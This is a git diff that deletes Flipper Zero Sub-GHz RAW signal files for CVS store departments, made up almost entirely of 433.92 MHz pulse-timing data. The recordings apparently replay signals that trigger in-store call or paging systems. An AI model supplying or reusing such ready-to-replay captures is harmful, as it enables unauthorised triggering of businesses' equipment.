-1524 780 -756 1552 -1528 -RAW_Data: 816 -756 1536 -752 1576 -748 1536 -760 1572 -748 1540 -748 1572 -756 1532 -756 1580 -744 1544 -748 1580 -744 1544 -748 1580 -748 1536 -752 1576 -748 1540 -748 1584 -748 1536 -748 1580 -752 1536 -752 1584 -1508 776 -752 1572 -1508 776 -1512 820 -1516 768 -756 1568 -1516 776 -1512 816 -1520 772 -752 1572 -1516 772 -752 1576 -1516 768 -756 1572 -1516 772 -752 1568 -4596 776 -760 1544 -1528 776 -760 1544 -1532 812 -756 1532 -756 1568 -760 1528 -756 1572 -756 1532 -756 1572 -756 1532 -756 1568 -760 1528 -760 1568 -756 1532 -756 1568 -760 1528 -760 1568 -760 1528 -756 1572 -760 1524 -760 1568 -760 1528 -760 1572 -1520 768 -756 1564 -1524 764 -1520 812 -1520 764 -760 1564 -1520 764 -1524 808 -1524 768 -756 1568 -1524 764 -764 1564 -1524 764 -760 1568 -1520 768 -760 1556 -4608 768 -764 1544 -1532 772 -764 1544 -1536 808 -764 1524 -760 1568 -760 1528 -760 1568 -756 1532 -756 1568 -764 1524 -760 1568 -760 1528 -764 1564 -764 1524 -760 1568 -764 1524 -760 1568 -760 1528 -760 1568 -760 1528 -760 1568 -760 1528 -760 1572 -1524 764 -760 1564 -1524 764 -1520 812 -1524 764 -756 1564 -1524 768 -1520 812 -1520 764 -760 1568 -1524 764 -760 1568 -1520 768 -760 1564 -1524 764 -764 1556 -4608 772 -768 1540 -1532 772 -768 1540 -1532 812 -760 1528 -760 1564 -760 1528 -760 1568 -760 1528 -760 1568 -760 1528 -760 1568 -760 1528 -760 1568 -760 1528 -760 1564 -760 1528 -760 1568 -760 1528 -760 1564 -764 1528 -756 1568 -760 1528 -760 1568 -1524 768 -756 1560 -1528 760 -1524 808 -1524 764 -760 1560 -1520 768 -1520 808 -1524 764 -760 1564 -1524 764 -760 1568 -1520 768 -760 1564 -1524 764 -760 1544 -15924 diff --git a/assets/resources/subghz/Stores/CVS/Pain_Reliever_Department.sub b/assets/resources/subghz/Stores/CVS/Pain_Reliever_Department.sub deleted file mode 100644 index 1eee3d769..000000000 --- a/assets/resources/subghz/Stores/CVS/Pain_Reliever_Department.sub +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -# generated with ook_to_sub.py -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 800 -748 1556 -1512 792 -748 1556 -1516 828 -740 1548 -736 1588 -740 1548 -740 1584 -744 1544 -740 1588 -740 1548 -740 1588 -740 1544 -740 1588 -740 1544 -744 1584 -740 1544 -748 1584 -736 1548 -740 1588 -744 1544 -740 1584 -744 1548 -736 1592 -1504 784 -744 1576 -1504 780 -1504 824 -1500 784 -1504 820 -1504 788 -1504 824 -1504 784 -740 1584 -1504 784 -736 1584 -1508 784 -740 1584 -1504 784 -740 1580 -4588 784 -748 1556 -1516 788 -752 1556 -1512 828 -744 1544 -740 1588 -740 1544 -744 1588 -740 1548 -740 1584 -744 1544 -740 1584 -744 1544 -740 1584 -744 1544 -740 1584 -744 1544 -740 1588 -740 1544 -740 1588 -740 1548 -740 1588 -736 1548 -744 1584 -1504 788 -736 1584 -1500 784 -1508 820 -1500 784 -1504 824 -1504 780 -1500 828 -1508 780 -740 1588 -1504 780 -740 1584 -1504 780 -744 1584 -1504 784 -740 1580 -4588 792 -740 1564 -1516 788 -748 1556 -1520 824 -744 1548 -736 1584 -748 1544 -744 1584 -740 1548 -740 1584 -740 1552 -740 1584 -744 1548 -736 1588 -744 1544 -744 1588 -736 1544 -744 1584 -744 1548 -740 1588 -744 1548 -740 1588 -740 1544 -744 1588 -1504 788 -736 1584 -1500 788 -1500 824 -1508 776 -1508 824 -1500 788 -1500 828 -1508 780 -744 1584 -1500 788 -744 1584 -1504 780 -744 1584 -1504 784 -744 1580 -4588 788 -748 1556 -1516 792 -748 1560 -1512 832 -744 1544 -744 1584 -740 1548 -744 1584 -744 1552 -736 1588 -740 1548 -744 1584 -740 1548 -740 1584 -748 1544 -740 1588 -740 1548 -744 1584 -740 1548 -740 1588 -740 1552 -736 1592 -740 1548 -744 1588 -1504 784 -740 1580 -1504 784 -1504 824 -1504 780 -1508 820 -1504 784 -1508 824 -1504 780 -744 1588 -1504 780 -744 1588 -1508 780 -740 1584 -1508 784 -744 1576 -4592 792 -748 1560 -1512 788 -748 1564 -1516 828 -740 1548 -740 1584 -744 1548 -744 1584 -740 1544 -748 1580 -748 1548 -736 1588 -744 1544 -744 1584 -740 1544 -748 1584 -744 1544 -740 1588 -744 1544 -744 1588 -740 1548 -744 1580 -744 1548 -740 1588 -1504 784 -744 1580 -1508 776 -1504 828 -1504 784 -1504 820 -1508 784 -1504 824 -1512 780 -744 1580 -1508 784 -744 1584 -1508 780 -744 1580 -1508 784 -744 1580 -4592 788 -748 1556 -1512 792 -748 1560 -1516 828 -744 1544 -744 1584 -748 1544 -740 1584 -744 1548 -744 1584 -748 1544 -740 1592 -740 1548 -744 1584 -740 1548 -744 1580 -748 1544 -744 1584 -744 1548 -744 1584 -744 1548 -736 1588 -744 1544 -740 1592 -1504 784 -740 1584 -1500 788 -1504 824 -1504 788 -1504 820 -1508 780 -1504 828 -1504 784 -744 1584 -1504 788 -740 1584 -1504 788 -740 1588 -1504 788 -736 1580 -4588 792 -748 1560 -1516 792 -748 1560 -1512 -RAW_Data: 832 -740 1548 -744 1584 -744 1548 -736 1588 -744 1548 -740 1588 -736 1548 -744 1584 -744 1548 -740 1584 -744 1548 -740 1588 -740 1544 -748 1584 -744 1544 -740 1588 -744 1544 -748 1584 -736 1552 -740 1588 -1512 780 -744 1580 -1504 784 -1508 820 -1508 784 -1504 824 -1504 784 -1508 824 -1504 784 -740 1584 -1508 780 -748 1584 -1504 784 -740 1584 -1508 784 -744 1576 -4592 788 -748 1560 -1512 788 -752 1560 -1512 832 -736 1552 -740 1588 -744 1544 -744 1584 -740 1552 -744 1580 -748 1544 -736 1592 -744 1544 -744 1584 -740 1548 -740 1584 -748 1544 -740 1588 -744 1544 -744 1584 -744 1544 -744 1584 -744 1544 -744 1588 -1504 784 -740 1584 -1504 784 -1504 820 -1508 776 -1504 824 -1504 788 -1504 828 -1504 780 -744 1584 -1504 788 -740 1588 -1504 784 -736 1588 -1508 780 -744 1580 -4592 788 -748 1560 -1520 788 -748 1556 -1520 828 -744 1548 -744 1584 -740 1548 -744 1584 -748 1544 -740 1588 -740 1548 -740 1584 -748 1544 -744 1588 -740 1548 -744 1584 -748 1544 -744 1584 -740 1552 -740 1588 -740 1548 -740 1588 -740 1552 -744 1584 -1508 784 -740 1580 -1504 788 -1504 820 -1504 788 -1500 824 -1508 780 -1504 828 -1504 780 -748 1584 -1504 784 -740 1588 -1508 780 -740 1588 -1504 784 -744 1576 -4592 792 -748 1560 -1516 784 -752 1556 -1520 828 -736 1552 -744 1580 -748 1540 -748 1584 -740 1552 -740 1584 -748 1544 -744 1584 -740 1552 -744 1580 -748 1544 -744 1584 -740 1552 -744 1584 -744 1544 -740 1592 -736 1548 -744 1588 -740 1548 -736 1596 -1504 780 -744 1584 -1504 784 -1504 820 -1508 784 -1500 824 -1504 788 -1504 824 -1508 784 -740 1588 -1504 780 -748 1584 -1500 788 -740 1588 -1508 784 -740 1560 -15964 diff --git a/assets/resources/subghz/Stores/CVS/Pharmacy.sub b/assets/resources/subghz/Stores/CVS/Pharmacy.sub deleted file mode 100644 index da8fd6894..000000000 --- a/assets/resources/subghz/Stores/CVS/Pharmacy.sub +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -# generated with ook_to_sub.py -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 804 -744 1564 -1508 792 -748 1560 -1516 828 -740 1548 -740 1584 -740 1548 -740 1588 -744 1544 -740 1584 -740 1552 -736 1588 -740 1552 -740 1584 -748 1544 -740 1588 -740 1548 -740 1588 -736 1548 -740 1588 -744 1548 -740 1584 -744 1548 -736 1588 -1500 788 -1504 820 -1504 784 -1500 828 -1496 792 -1504 824 -1504 788 -740 1580 -1508 784 -1504 824 -1500 792 -736 1584 -1500 788 -1500 828 -1500 788 -1500 824 -4588 792 -744 1560 -1516 792 -744 1560 -1520 828 -744 1548 -740 1588 -736 1552 -736 1588 -740 1552 -740 1588 -740 1552 -740 1584 -740 1552 -740 1588 -740 1544 -744 1588 -740 1552 -740 1588 -740 1548 -740 1588 -740 1552 -740 1584 -740 1552 -744 1584 -1500 788 -1504 820 -1508 780 -1504 824 -1504 784 -1500 832 -1504 784 -744 1576 -1504 784 -1504 832 -1504 784 -740 1580 -1508 780 -1504 820 -1504 792 -1504 824 -4584 792 -752 1556 -1516 792 -744 1564 -1512 832 -740 1552 -736 1588 -736 1552 -740 1588 -744 1548 -740 1584 -744 1552 -736 1592 -736 1552 -736 1592 -740 1548 -744 1584 -744 1548 -744 1584 -740 1552 -736 1592 -736 1548 -740 1588 -740 1548 -740 1588 -1504 784 -1500 828 -1504 788 -1500 824 -1508 776 -1508 832 -1500 788 -736 1588 -1504 780 -1504 828 -1500 792 -736 1584 -1500 788 -1504 824 -1500 784 -1508 820 -4588 788 -752 1556 -1516 792 -744 1560 -1516 828 -740 1548 -740 1588 -740 1548 -740 1588 -740 1548 -740 1588 -744 1544 -744 1588 -740 1548 -744 1584 -744 1548 -736 1588 -740 1552 -736 1588 -740 1548 -744 1588 -740 1548 -744 1584 -740 1552 -736 1592 -1500 788 -1504 820 -1508 784 -1500 832 -1500 784 -1508 824 -1504 788 -740 1580 -1504 788 -1504 828 -1504 788 -736 1588 -1500 784 -1508 820 -1508 780 -1504 828 -4588 792 -748 1564 -1508 796 -748 1560 -1516 828 -740 1556 -736 1588 -740 1548 -744 1588 -740 1548 -744 1584 -744 1548 -740 1592 -732 1552 -740 1588 -744 1548 -740 1588 -744 1544 -744 1588 -740 1552 -736 1588 -740 1552 -740 1588 -744 1548 -740 1588 -1500 788 -1504 824 -1504 784 -1504 824 -1504 788 -1508 824 -1504 788 -740 1588 -1500 784 -1508 828 -1500 788 -740 1588 -1504 780 -1508 820 -1500 792 -1500 828 -4588 792 -748 1560 -1520 788 -744 1568 -1512 828 -740 1552 -740 1588 -744 1548 -740 1588 -740 1552 -740 1588 -736 1552 -744 1584 -740 1552 -744 1584 -744 1548 -740 1588 -740 1552 -740 1584 -744 1548 -744 1584 -744 1548 -740 1588 -740 1548 -740 1588 -1504 784 -1504 824 -1504 784 -1500 828 -1504 784 -1508 824 -1500 792 -736 1584 -1500 792 -1504 828 -1500 792 -736 1584 -1504 788 -1504 820 -1508 784 -1500 828 -4588 796 -744 1560 -1516 792 -748 1560 -1520 -RAW_Data: 828 -740 1548 -740 1588 -740 1552 -744 1584 -740 1552 -740 1588 -740 1548 -744 1584 -740 1548 -740 1588 -740 1552 -740 1588 -744 1548 -744 1584 -740 1548 -740 1588 -740 1552 -736 1592 -740 1548 -744 1584 -1504 788 -1500 828 -1500 788 -1504 820 -1508 784 -1504 828 -1508 780 -740 1584 -1504 784 -1508 828 -1508 780 -740 1584 -1504 788 -1500 824 -1508 784 -1508 820 -4592 792 -744 1560 -1516 792 -744 1564 -1512 832 -740 1552 -736 1588 -740 1552 -740 1592 -740 1548 -740 1592 -740 1548 -740 1588 -740 1552 -740 1588 -740 1548 -744 1584 -744 1548 -740 1592 -736 1556 -736 1588 -740 1552 -740 1584 -748 1548 -744 1580 -1504 788 -1504 824 -1504 788 -1500 824 -1504 784 -1504 828 -1500 792 -736 1584 -1500 788 -1500 832 -1500 788 -740 1584 -1504 780 -1508 820 -1504 784 -1504 820 -4588 792 -744 1564 -1512 792 -744 1564 -1516 828 -744 1544 -744 1584 -740 1548 -744 1584 -740 1552 -736 1592 -740 1552 -736 1588 -744 1544 -740 1584 -744 1548 -740 1588 -740 1548 -744 1584 -740 1548 -736 1592 -740 1548 -740 1592 -736 1548 -744 1580 -1512 780 -1508 824 -1496 788 -1500 828 -1500 788 -1504 832 -1496 792 -736 1584 -1508 780 -1508 824 -1508 784 -736 1584 -1500 784 -1508 824 -1508 780 -1504 824 -4588 792 -744 1564 -1512 796 -740 1564 -1516 828 -740 1552 -740 1588 -740 1548 -740 1588 -740 1548 -740 1588 -740 1552 -740 1588 -744 1548 -736 1592 -740 1552 -740 1588 -740 1548 -740 1588 -740 1548 -744 1584 -740 1552 -736 1592 -740 1548 -736 1588 -1508 780 -1508 824 -1500 788 -1504 820 -1508 788 -1500 828 -1504 788 -740 1584 -1504 784 -1504 828 -1504 784 -744 1580 -1500 788 -1504 824 -1504 788 -1496 808 -15924 diff --git a/assets/resources/subghz/Stores/CVS/Photo_Lab.sub b/assets/resources/subghz/Stores/CVS/Photo_Lab.sub deleted file mode 100644 index 3f2dd32f9..000000000 --- a/assets/resources/subghz/Stores/CVS/Photo_Lab.sub +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -# generated with ook_to_sub.py -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 804 -740 1560 -1520 784 -744 1560 -1516 828 -740 1544 -748 1580 -740 1548 -740 1580 -748 1544 -748 1580 -736 1548 -752 1576 -748 1544 -740 1588 -744 1540 -748 1580 -744 1544 -740 1588 -744 1540 -748 1576 -752 1540 -748 1576 -740 1548 -740 1588 -1504 784 -744 1584 -1500 784 -744 1588 -1496 784 -748 1576 -1500 784 -1516 816 -1504 784 -1500 832 -1500 784 -744 1580 -1508 784 -744 1580 -1504 784 -740 1580 -4584 792 -744 1560 -1512 792 -756 1548 -1520 824 -748 1540 -744 1580 -740 1548 -748 1576 -744 1548 -740 1584 -740 1548 -740 1588 -744 1544 -744 1584 -740 1544 -740 1588 -744 1544 -740 1584 -748 1544 -740 1584 -748 1540 -740 1584 -748 1544 -748 1576 -1508 784 -744 1584 -1508 776 -744 1584 -1508 776 -744 1576 -1504 788 -1504 816 -1504 788 -1504 824 -1508 780 -744 1580 -1508 780 -740 1584 -1504 784 -744 1576 -4584 792 -744 1560 -1516 788 -748 1560 -1516 824 -744 1548 -744 1580 -740 1544 -744 1584 -740 1548 -740 1588 -744 1544 -748 1576 -748 1540 -748 1584 -740 1544 -744 1580 -744 1548 -744 1580 -740 1548 -744 1584 -740 1544 -748 1584 -740 1544 -744 1584 -1508 780 -740 1588 -1500 784 -748 1580 -1500 784 -744 1580 -1504 784 -1500 824 -1508 780 -1504 824 -1512 780 -740 1588 -1504 784 -748 1576 -1504 784 -748 1572 -4592 788 -752 1552 -1516 792 -752 1552 -1520 824 -740 1548 -744 1584 -748 1540 -744 1588 -744 1544 -748 1580 -744 1544 -752 1580 -744 1544 -748 1580 -748 1540 -740 1588 -740 1548 -748 1580 -744 1544 -740 1584 -740 1548 -740 1588 -740 1548 -740 1588 -1504 780 -748 1584 -1500 784 -744 1584 -1504 784 -740 1576 -1512 780 -1504 820 -1504 784 -1504 824 -1508 780 -744 1580 -1508 780 -748 1580 -1500 784 -748 1576 -4584 788 -752 1552 -1520 784 -744 1560 -1512 832 -740 1544 -744 1580 -740 1548 -748 1580 -740 1548 -736 1588 -744 1540 -748 1584 -740 1544 -748 1576 -748 1544 -744 1580 -740 1548 -748 1580 -744 1540 -740 1588 -740 1548 -744 1580 -748 1540 -744 1588 -1504 780 -744 1584 -1504 780 -744 1584 -1508 780 -744 1576 -1500 784 -1508 820 -1500 784 -1504 828 -1504 784 -744 1580 -1508 780 -748 1576 -1516 776 -740 1576 -4588 788 -756 1552 -1516 792 -748 1552 -1516 828 -740 1548 -748 1576 -748 1540 -748 1584 -740 1544 -748 1580 -748 1544 -740 1580 -744 1548 -748 1580 -740 1548 -740 1588 -748 1536 -744 1584 -740 1544 -748 1576 -740 1552 -740 1584 -740 1552 -744 1580 -1516 772 -748 1580 -1504 784 -744 1584 -1500 784 -748 1576 -1504 784 -1508 816 -1508 780 -1508 824 -1508 780 -744 1580 -1504 784 -744 1584 -1508 776 -748 1572 -4588 792 -744 1564 -1512 792 -744 1560 -1516 -RAW_Data: 828 -748 1540 -748 1580 -740 1552 -748 1576 -748 1548 -740 1584 -736 1552 -744 1580 -740 1548 -748 1580 -748 1540 -740 1588 -740 1548 -740 1584 -744 1548 -744 1580 -744 1548 -740 1584 -740 1548 -744 1584 -1508 784 -740 1588 -1504 784 -744 1584 -1508 780 -744 1576 -1500 788 -1512 816 -1504 780 -1508 828 -1504 784 -740 1584 -1512 776 -740 1592 -1500 784 -744 1580 -4584 792 -748 1560 -1520 784 -752 1556 -1512 832 -744 1548 -740 1588 -744 1544 -744 1584 -740 1548 -736 1588 -748 1544 -744 1580 -740 1552 -744 1580 -748 1544 -740 1588 -740 1544 -748 1580 -744 1548 -748 1580 -740 1552 -736 1588 -748 1544 -736 1592 -1512 776 -748 1584 -1504 784 -744 1584 -1508 780 -744 1580 -1504 788 -1500 828 -1508 780 -1500 832 -1504 780 -744 1584 -1504 788 -740 1588 -1504 788 -736 1580 -4596 792 -748 1560 -1516 788 -748 1560 -1512 836 -744 1544 -740 1588 -740 1552 -744 1584 -744 1544 -744 1584 -744 1544 -740 1588 -748 1544 -740 1584 -752 1536 -748 1584 -740 1548 -748 1584 -740 1548 -740 1588 -744 1548 -740 1584 -752 1544 -740 1592 -1508 780 -744 1584 -1508 784 -744 1588 -1496 784 -748 1576 -1504 788 -1500 824 -1504 788 -1504 828 -1504 784 -748 1580 -1516 776 -744 1584 -1508 780 -748 1580 -4596 784 -756 1552 -1520 784 -752 1556 -1520 828 -744 1548 -744 1584 -740 1548 -740 1588 -740 1552 -744 1580 -744 1548 -744 1584 -748 1544 -748 1580 -744 1548 -740 1588 -744 1548 -744 1584 -744 1544 -740 1588 -748 1544 -740 1588 -744 1544 -748 1584 -1504 784 -744 1584 -1508 784 -744 1580 -1512 780 -744 1580 -1500 788 -1504 820 -1512 776 -1512 824 -1508 780 -740 1588 -1508 780 -748 1580 -1504 788 -744 1560 -15924 diff --git a/assets/resources/subghz/Stores/CVS/Pre-Recorded_Video_Department.sub b/assets/resources/subghz/Stores/CVS/Pre-Recorded_Video_Department.sub deleted file mode 100644 index ebd337325..000000000 --- a/assets/resources/subghz/Stores/CVS/Pre-Recorded_Video_Department.sub +++ /dev/null @@ -1,9 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -# generated with ook_to_sub.py -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 800 -752 1552 -1512 792 -748 1556 -1516 828 -740 1548 -736 1588 -744 1544 -740 1584 -740 1552 -736 1584 -744 1544 -744 1584 -740 1548 -740 1580 -748 1544 -740 1580 -744 1548 -744 1580 -740 1548 -744 1584 -740 1548 -740 1588 -740 1548 -736 1592 -1500 788 -740 1584 -1500 788 -1500 824 -1512 780 -740 1592 -1500 784 -736 1584 -1504 784 -1504 824 -1504 784 -740 1588 -1504 784 -736 1588 -1500 788 -740 1580 -4588 788 -748 1556 -1516 788 -748 1560 -1516 828 -740 1548 -740 1584 -740 1552 -736 1588 -740 1552 -740 1584 -748 1544 -744 1580 -748 1540 -744 1592 -736 1548 -740 1588 -736 1552 -740 1584 -740 1552 -736 1588 -740 1548 -740 1588 -740 1548 -744 1584 -1508 780 -740 1584 -1504 780 -1504 828 -1508 780 -740 1584 -1508 776 -748 1580 -1500 788 -1500 832 -1500 784 -744 1584 -1504 784 -740 1588 -1504 784 -740 1580 -4588 788 -748 1556 -1512 792 -748 1560 -1512 832 -736 1544 -748 1584 -740 1548 -736 1592 -740 1544 -744 1584 -740 1552 -740 1584 -744 1548 -736 1588 -744 1548 -740 1588 -740 1548 -740 1584 -744 1548 -740 1588 -736 1548 -744 1588 -740 1544 -740 1588 -1504 784 -736 1584 -1504 784 -1500 828 -1504 784 -744 1580 -1504 784 -740 1580 -1508 780 -1508 824 -1504 784 -744 1584 -1504 784 -740 1584 -1504 784 -744 1580 -4584 788 -748 1564 -1512 792 -744 1560 -1516 828 -740 1552 -740 1584 -740 1548 -740 1588 -740 1544 -744 1584 -744 1544 -740 1588 -736 1548 -744 1580 -748 1540 -744 1588 -740 1548 -744 1580 -740 1544 -744 1588 -740 1544 -744 1584 -740 1548 -736 1596 -1496 784 -744 1580 -1504 780 -1508 824 -1508 780 -744 1584 -1508 776 -748 1576 -1508 780 -1508 820 -1512 776 -748 1580 -1508 776 -744 1584 -1508 780 -740 1580 -4592 784 -752 1552 -1516 792 -748 1556 -1516 828 -744 1540 -744 1584 -740 1548 -744 1584 -740 1548 -744 1584 -736 1548 -740 1584 -744 1544 -740 1588 -740 1548 -740 1584 -744 1544 -740 1588 -744 1544 -740 1584 -740 1548 -740 1588 -740 1544 -748 1584 -1504 784 -740 1576 -1504 788 -1504 828 -1496 792 -736 1588 -1508 780 -740 1580 -1504 784 -1508 820 -1512 784 -740 1580 -1504 784 -744 1584 -1508 780 -744 1572 -4592 788 -752 1560 -1512 788 -752 1552 -1516 832 -740 1548 -740 1584 -748 1540 -744 1580 -744 1544 -748 1580 -744 1544 -740 1584 -744 1548 -744 1580 -744 1548 -740 1584 -744 1544 -740 1588 -740 1544 -744 1584 -744 1544 -748 1580 -740 1552 -744 1584 -1508 780 -744 1576 -1504 784 -1504 828 -1504 780 -748 1580 -1504 784 -744 1576 -1508 788 -1504 824 -1508 780 -740 1588 -1500 788 -744 1584 -1500 788 -740 1580 -4588 788 -752 1552 -1520 788 -748 1556 -1520 -RAW_Data: 828 -740 1548 -744 1584 -744 1540 -748 1580 -744 1548 -740 1588 -740 1548 -740 1584 -744 1544 -740 1588 -736 1552 -736 1592 -740 1544 -744 1588 -736 1548 -744 1584 -740 1548 -736 1588 -744 1548 -740 1588 -1500 788 -736 1584 -1504 780 -1504 824 -1508 780 -740 1588 -1504 784 -740 1580 -1504 784 -1504 820 -1508 784 -744 1580 -1508 780 -740 1584 -1504 784 -740 1576 -4588 788 -748 1556 -1516 788 -752 1552 -1516 832 -740 1544 -744 1580 -748 1544 -740 1588 -740 1540 -748 1584 -736 1548 -744 1584 -744 1544 -744 1584 -740 1552 -736 1588 -736 1548 -740 1584 -744 1548 -740 1584 -740 1548 -740 1584 -740 1548 -740 1588 -1504 784 -740 1580 -1504 784 -1504 828 -1504 784 -740 1584 -1504 784 -740 1580 -1508 780 -1504 828 -1508 780 -744 1584 -1504 784 -744 1580 -1508 776 -748 1576 -4588 784 -752 1552 -1524 780 -756 1552 -1520 824 -748 1540 -748 1576 -752 1536 -752 1572 -756 1532 -760 1564 -760 1528 -760 1564 -760 1528 -760 1564 -760 1528 -760 1564 -760 1528 -760 1564 -764 1524 -760 1568 -760 1528 -760 1564 -764 1524 -764 1568 -1524 760 -764 1556 -1528 760 -1524 804 -1528 760 -764 1560 -1532 756 -764 1548 -1568 716 -15964 -RAW_Data: 712 -788 1524 -1536 812 -756 1532 -756 1568 -760 1528 -760 1568 -756 1532 -756 1572 -756 1528 -760 1568 -760 1532 -756 1568 -760 1528 -760 1564 -760 1528 -760 1568 -756 1532 -756 1568 -756 1528 -760 1568 -760 1528 -756 1572 -1520 764 -760 1564 -1520 764 -1520 812 -1520 764 -760 1568 -1520 764 -764 1560 -1520 768 -1520 808 -1520 768 -760 1568 -1520 768 -756 1568 -1520 768 -756 1544 -15724 diff --git a/assets/resources/subghz/Stores/CVS/Recordable_Media_Department.sub b/assets/resources/subghz/Stores/CVS/Recordable_Media_Department.sub deleted file mode 100644 index 73cd2f7ad..000000000 --- a/assets/resources/subghz/Stores/CVS/Recordable_Media_Department.sub +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -# generated with ook_to_sub.py -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 804 -740 1564 -1512 788 -748 1556 -1512 832 -740 1540 -748 1580 -740 1548 -740 1584 -740 1548 -744 1584 -736 1552 -736 1588 -740 1544 -736 1588 -744 1544 -740 1588 -736 1552 -736 1584 -744 1540 -744 1588 -740 1548 -736 1588 -740 1544 -740 1584 -1504 784 -1504 824 -1504 784 -740 1576 -1508 780 -1504 828 -1504 784 -740 1584 -1504 784 -736 1584 -1504 780 -1504 824 -1504 780 -1508 820 -1504 784 -1500 824 -4588 788 -748 1560 -1512 788 -748 1560 -1512 828 -744 1544 -740 1588 -740 1544 -744 1588 -740 1548 -740 1584 -744 1548 -740 1588 -740 1548 -736 1588 -744 1544 -744 1584 -740 1548 -740 1588 -736 1552 -744 1580 -744 1548 -740 1584 -744 1544 -748 1584 -1496 788 -1504 828 -1500 788 -736 1584 -1504 780 -1508 828 -1504 784 -740 1580 -1508 788 -736 1584 -1504 780 -1508 820 -1504 788 -1500 824 -1500 784 -1504 824 -4580 792 -748 1560 -1512 792 -744 1564 -1512 828 -744 1544 -740 1588 -740 1548 -740 1584 -744 1544 -744 1584 -744 1548 -732 1592 -740 1544 -748 1584 -740 1544 -740 1588 -736 1552 -740 1584 -744 1544 -740 1588 -740 1548 -736 1588 -740 1548 -744 1584 -1504 784 -1500 828 -1504 784 -740 1584 -1504 780 -1508 824 -1504 784 -740 1588 -1504 784 -740 1580 -1504 784 -1504 820 -1504 788 -1500 824 -1504 780 -1504 824 -4588 792 -744 1552 -1524 784 -752 1556 -1516 828 -740 1552 -736 1588 -744 1548 -740 1588 -736 1548 -740 1584 -748 1544 -740 1588 -740 1552 -736 1588 -736 1552 -740 1588 -740 1544 -744 1584 -740 1548 -740 1584 -744 1548 -740 1588 -736 1552 -736 1588 -1508 784 -1500 832 -1500 784 -744 1580 -1500 792 -1500 824 -1508 788 -736 1588 -1504 780 -744 1576 -1508 788 -1500 824 -1504 784 -1508 820 -1504 780 -1508 820 -4588 792 -740 1560 -1516 792 -748 1556 -1516 828 -740 1548 -744 1584 -740 1548 -744 1584 -740 1548 -740 1588 -736 1548 -744 1588 -740 1548 -744 1584 -740 1548 -740 1584 -740 1548 -740 1588 -740 1548 -740 1588 -736 1552 -736 1584 -744 1548 -744 1580 -1504 784 -1500 832 -1500 788 -740 1580 -1504 788 -1496 832 -1504 780 -740 1592 -1500 784 -740 1580 -1508 776 -1508 824 -1500 784 -1508 820 -1504 784 -1500 828 -4588 784 -748 1560 -1516 788 -744 1564 -1512 832 -736 1548 -744 1584 -744 1548 -740 1584 -740 1548 -744 1580 -748 1544 -740 1588 -744 1544 -740 1588 -736 1552 -740 1584 -744 1548 -740 1588 -740 1548 -736 1588 -740 1548 -744 1584 -740 1548 -740 1584 -1504 784 -1504 828 -1504 784 -740 1580 -1508 780 -1508 828 -1500 784 -736 1592 -1504 784 -740 1580 -1504 788 -1500 820 -1504 784 -1504 824 -1504 784 -1504 820 -4592 788 -744 1560 -1520 784 -752 1556 -1520 -RAW_Data: 828 -740 1548 -740 1584 -744 1548 -740 1588 -740 1548 -736 1592 -740 1548 -740 1588 -740 1548 -744 1584 -740 1552 -736 1588 -740 1552 -740 1592 -736 1548 -740 1588 -740 1548 -740 1588 -744 1548 -740 1588 -1500 784 -1508 824 -1504 788 -740 1580 -1500 788 -1504 828 -1500 788 -740 1588 -1500 788 -736 1584 -1508 776 -1508 820 -1504 784 -1500 824 -1508 780 -1508 820 -4588 788 -748 1560 -1516 788 -744 1560 -1516 832 -740 1548 -740 1588 -744 1544 -740 1588 -736 1552 -740 1588 -736 1548 -748 1580 -748 1544 -744 1588 -736 1548 -740 1588 -740 1552 -740 1584 -740 1552 -740 1584 -744 1548 -740 1588 -736 1552 -736 1588 -1504 784 -1504 828 -1504 784 -740 1584 -1508 780 -1504 832 -1496 788 -740 1588 -1504 780 -740 1584 -1500 784 -1508 820 -1500 788 -1500 828 -1504 780 -1504 824 -4584 792 -744 1560 -1516 792 -740 1564 -1512 832 -736 1552 -744 1584 -744 1544 -740 1588 -736 1552 -740 1588 -740 1548 -744 1584 -740 1552 -740 1584 -744 1548 -740 1588 -740 1544 -748 1580 -744 1548 -740 1584 -740 1552 -736 1588 -740 1548 -740 1584 -1508 780 -1504 828 -1508 780 -744 1580 -1504 780 -1504 832 -1500 784 -740 1588 -1500 784 -744 1580 -1504 780 -1504 824 -1500 788 -1504 824 -1504 780 -1508 820 -4584 792 -748 1560 -1512 792 -748 1556 -1512 832 -744 1544 -744 1584 -740 1552 -736 1588 -740 1548 -740 1588 -744 1544 -744 1584 -744 1548 -736 1592 -736 1552 -740 1584 -744 1544 -744 1584 -744 1548 -740 1584 -740 1548 -740 1588 -740 1548 -740 1584 -1504 784 -1504 832 -1504 780 -744 1580 -1504 784 -1508 824 -1508 780 -744 1584 -1508 780 -744 1576 -1504 784 -1504 828 -1500 784 -1508 820 -1504 784 -1504 800 -15924 diff --git a/assets/resources/subghz/Stores/CVS/Skin_Care_Department.sub b/assets/resources/subghz/Stores/CVS/Skin_Care_Department.sub deleted file mode 100644 index 94a9116d2..000000000 --- a/assets/resources/subghz/Stores/CVS/Skin_Care_Department.sub +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -# generated with ook_to_sub.py -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 804 -744 1556 -1520 784 -748 1556 -1520 820 -744 1544 -744 1580 -744 1544 -740 1584 -744 1544 -744 1584 -744 1544 -744 1580 -744 1544 -740 1580 -744 1544 -744 1584 -744 1544 -744 1584 -740 1548 -744 1584 -744 1544 -740 1584 -744 1544 -744 1584 -1508 784 -740 1576 -1508 780 -1508 816 -1508 780 -1504 828 -1504 780 -748 1580 -1508 780 -740 1580 -1508 780 -1508 824 -1508 780 -744 1584 -1504 780 -748 1576 -4588 792 -748 1556 -1524 